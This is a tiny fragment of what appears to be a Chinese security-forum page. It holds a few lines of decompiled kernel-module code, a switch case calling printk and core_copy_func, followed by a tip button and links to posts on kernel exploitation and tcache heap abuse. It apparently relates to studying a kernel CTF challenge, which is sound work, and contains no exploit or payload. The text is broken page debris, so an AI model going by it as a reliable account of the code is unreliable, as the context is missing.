break
;
case
0x6677889A
:
printk(&unk_2B3);
core_copy_func(a3);
赞赏
- [原创]Kernel PWN从入门到提升 26997
- [原创]tcache bin利用总结 17146